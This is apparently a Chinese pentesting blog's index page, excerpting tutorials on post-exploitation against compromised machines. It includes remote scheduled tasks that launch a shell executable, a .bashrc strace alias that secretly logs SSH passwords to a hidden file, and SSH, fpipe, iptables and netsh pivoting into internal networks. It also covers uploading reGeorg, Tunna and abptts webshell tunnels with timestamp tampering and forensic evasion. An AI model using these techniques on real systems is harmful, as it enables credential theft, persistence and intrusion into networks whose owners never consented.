APT404-不作恶

在路上,一直在路上!

Win计划任务小记 [ at Schtasks ]



0x01 关于win系统计划任务的一些简单使用,03以前的系统中可使用 at 来执行各种系统计划任务

1
2
# at 14:23 /every:18,19,21,24,28 c:\shell.exe  创建本地计划任务,每月的这几号的这个点执行指定的可执行程序
# at /delete /y 删除本地所有的计划任务

1
2
# at \\192.168.3.23 14:23 /every:18,19,21,24,28 c:\shell.exe 在远程机器上创建计划任务
# at \\192.168.3.23 /delete /y 删除远程机器上的所有的计划任务

Read More >>>


利用Strace来跟踪 Ssh 登陆密码



0x01 前言
strace 本身其实是一个非常好用的系统调用跟踪工具,运维们可以通过它快速锁定问题的根源,但,恰巧我们也可以通过这种方式来跟踪任何进程数据,比如ssh,su,sudo,这里以跟踪ssh登陆密码为例,大家可自行脑洞更多其它用法,关于strace自身的选项作用,请man strace:

1
2
3
# yum install epel-release -y   利用epel源来装,直接yum可能yum不到
# yum install strace -y 如果目标机器没有装strace,那你就自己顺手给他装一个,不过像这类的调试工具,一般都会作为常用工具而被预装
# vi ~/.bashrc 注意,这里是当前用户的环境变量配置文件,也就是说它只能对当前用户有效,不过你也可以加到全局配置中 '/etc/bashrc'
1
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -s 2048 ssh'

Read More >>>


通向彼岸 之内网代理转发 [ Ssh隧道 ]



0x01 此次用于实验的大致环境,如下:

1
2
3
4
5
6
lnmp01 	[centOS6.8_x64] 	ip: 192.168.3.30  	假设为自己公网的vps[一般都会用一台公网的linux肉鸡],等会儿主要用来负责ssh转发
MidLAMP [centOS6.8_x64] ip: 192.168.32.193 假设为目标内网中的一台linux机器,能正常连公网
win2008cn ip: 192.168.32.170 假设为目标内网中的一台windows机器,不能连公网
win2008R2cn ip: 192.168.3.23 假设为目标公网中的一台windows机器,rdp只能通过192.168.3.x这个ip段访问
win7en ip: 192.168.32.195 假设为自己本地内网中的一台windows机器
win7en_bak ip: 192.168.3.17 假设为自己公网的另一台windows机器

0x02 关于ssh 工具本身选项用途简介 [更多详情,请自行man ssh,帮助手册里面说的非常详细]:

1
2
3
4
5
6
7
8
9
10
11
12
-C  压缩传输数据,加快传输速度
-f 后台对用户名密码进行认证
-N 仅仅只用来转发,不用再弹回一个新的shell
-n 后台运行
-q 安静模式,不要显示警告等信息
-l 指定ssh登录名
-g 允许远程主机连接到本地转发的端口
-L 进行本地端口转发
-R 进行远程端口转发
-D 动态转发,即socks代理
-T 禁止分配伪终端
-p 指定远程ssh服务端口

Read More >>>


通向彼岸 之内网代理转发 [ 利用端口重定向Bypass各类应用层防火墙 Fpipe ]



0x01 前言:
    如果你觉得netsh和iptables配置稍微有点儿繁琐,有款小工具可能会适合你,fpipe 一款专门用于端口重定向的小工具,从名字就能猜出来它是干啥的,很明显,forward pipe[转发,通过管道],虽然功能上和netsh有一点点类似,但确实不是一类东西,同样是监听来自外部的某个端口,但它多做了一步,它会把来自外部端口的流量先转到本地某个指定的端口上[转发],再通过转到的这个本地端口去连远程机器的某个端口[管道],而不是像netsh只是单纯的把端口转过去,简易通信流程如下

1
外部端口访问 <-> 本地监听来自外部的这个端口并它转到本地的另一个端口上(在本地绑定两个端口) <-> 通过本地的另一个端口和远程机器的某个端口通信

工具选项如下,非常简单,看选项说明基本就懂了:

0x02 我们可以拿它来做什么
    刚刚在上面已经说过,它并非直接转发,而是又自己建立了一个新的通道,这样的好处在哪里呢,很明显,我们可以通过这样的方式来轻松bypass掉各类应用层防火墙

Read More >>>


通向彼岸 之内网代理转发 [ 系统篇 Iptables ]



0x01 前言
    作用和netsh差不多,这里就不废话了,直接看操作,还是同样的情况,只不过你此时拿下的是边界的一台linux服务器,依然想通过这台机器直接去访问内网的其它机器

0x02 环境大致如下:

1
2
3
边界linux机器(centos 6.8en) 		ip:192.168.3.40(假设为目标机器的公网ip) 192.168.32.129(假设为目标的内网ip) 
要访问的内网windows机器(win 2008r2cn) ip:192.168.32.134
攻击者机器(win7cn) ip:192.168.3.251

0x03 最终目的

1
通过边界的linux机器访问内网中的windows机器上的指定服务

0x04 具体过程如下,首先,编辑边界linux机器的路由转发配置文件,开启其路由转发功能

1
2
# sed -i '/net.ipv4.ip_forward/ s/\(.*= \).*/\11/' /etc/sysctl.conf
# cat /etc/sysctl.conf | grep "net.ipv4.ip_forward"

Read More >>>


通向彼岸 之内网代理转发 [ 系统篇 Netsh ]



0x01 前言:
    除了前面提到的用一些端口转发工具来进行端口转发,其实windows系统自己也给我们提供了类似的功能,比如,其自带的防火墙管理工具netsh套件[确实非常实用],尤其碰到一些稍微畸形点的内网环境

0x02 先来假设这么一种情况
    当你搞定边界的一台windows机器以后,上去一看发现,机器上有两块网卡,一块外网卡,一块内网卡[先暂以正常的DMZ来讲],这时又你通过别的方式搞定了同内网的另一台windows机器,本来以为简单的种上马就可以走人了,但你发现马执行以后似乎什么都没发生,搞了半天,你才发现,原来这台内网机器根本不能连外网,说到这里,相必你也应该知道我要干啥了,没错,虽然内网的那台机器不能连外网,但它起码能跟边界的这台机器正常通信,这就够了,我们可以直接从外部通过边界这台机器来访问内网的那台不能连外网的机器


0x03 演示简单环境如下

1
2
3
目标的边界机器[win7en] 				ip: 192.168.3.212  [假设为目标公网ip] 192.168.32.132[目标内网ip]
目标内网的那台不能连外网的机器[win 2008r2cn] ip: 192.168.32.134 [目标内网ip]
外部的攻击者的机器[win7cn] ip: 192.168.3.251

0x04 要实现的目的很简单:

1
2
首先,可以确认的是,边界机器和攻击者机器通信正常,边界机器和目标内网的那台不能连外网的机器通信正常
现在,我想通过边界机器的某个端口去访问目标内网的那台不能上外网的机器的3389,下面是具体的操作步骤

Read More >>>


通向彼岸 之内网代理转发 [ Http隧道篇 使用过程中容易出现的一些问题 ]



关于使用http隧道代理脚本时,容易出现的一些错误及解决办法

0x01 如果是php程序,你可能需要先确保php.ini中的socket模块已正常开启并且可用,因为php中的socket函数要基于此模块,不过,reGeorg早已经提供了不再需要开启socket的代理脚本

0x02 有时候你在绑定某些端口会遇到socket无法建立连接的问题,不妨尝试换一下端口,比如:53,8080,443,只要不跟目标系统中的现有端口冲突即可,尽量用一些穿透性比较好的端口

0x03 有时还会遇到aspx 运行错误,看具体是什么错误,如果一眼解决不了,谷歌一下,解决办法肯定一大堆,比如:’Compilation Error’,可以尝试在代理脚本[即webshell]的当前所在目录,另外新建一个web.conf文件,一般也即可解决,文件具体内容如下:

1
2
3
4
5
<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
</configuration>

Read More >>>


通向彼岸 之内网代理转发 [ Http隧道篇 Abptts ]



0x01 前言:
    abptts,一款基于ssl加密的http隧道工具,相对来讲还算稳定,就个人实际使用来说起码比regerog都要稳定一些,且全程通信数据加密,能一定程度上对抗取证检测,单就这一点来说,还是很赞的,不过,加不加密,它自己说的不算,还是老办法,拿wireshark自己耐心跑一遍,就一目了然了,尽量用事实说话嘛

0x02 首先,安装好工具所需的各种py依赖库:

1
2
# pip install pycrypto    加密库,整个通信数据加密基本都要靠这个库来实现
# pip install httplib2

Read More >>>


通向彼岸 之内网代理转发 [ Http隧道篇 reGeorg ]



reGeorg [基于py,实际渗透过程中用的相对较多,稳定性一般,不过,使用还是非常方便的,推荐]:

0x01 和前面都一样,先把代理[webshell]上传到目标的网站目录中再说,记得顺手改下webshell的时间戳,尝试访问该shell,返回正常后,即可本地执行绑定操作,如下

1
# python regerogsocksproxy.py -u "http://目标域名/tunnel.aspx" -p 绑定的本地端口

0x02 连接绑定好的本地端口,推荐用proxifier或者sockscap,然后往里面添加一些自己常用的内网渗透工具,就可以对目标进行正常的内网渗透了

0x03 实际渗透中,个人还是比较推荐用这个,比较稳定,使用也比较简单,不过,还是有些令人不太愉快的地方,待后期解决了,再单独拿出来说


通向彼岸 之内网代理转发 [ Http隧道篇 Tunna ]



Tunna [实际渗透中,不太推荐,不稳定,经常断,阻塞,基于py编写]

0x01 依然是先把代理端[webshell]上传到目标的网站目录中,并尝试访问该webshell,返回正常后,即可在本地执行下面的语句:

1
2
3
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[3389] -v 
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -a 内网机器的ip -r 内网机器的指定端口 -v
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[22] -s[转发ssh服务需要加上此选项] -v

0x02 先连接刚才绑定到的本地端口,在尝试用mstsc,putty等工具进行连接

1
mstsc 127.0.0.1 绑定的本地端口

0x03 比较的不稳定,尤其是php脚本,已经不太兼容php5.3以后的版本了,而且还要开启某些模块(socket)支持,利用条件确实有点儿苛刻

0x04 另外,tunna已经有相应的msf模块,也可以选择直接把它加到msf中使用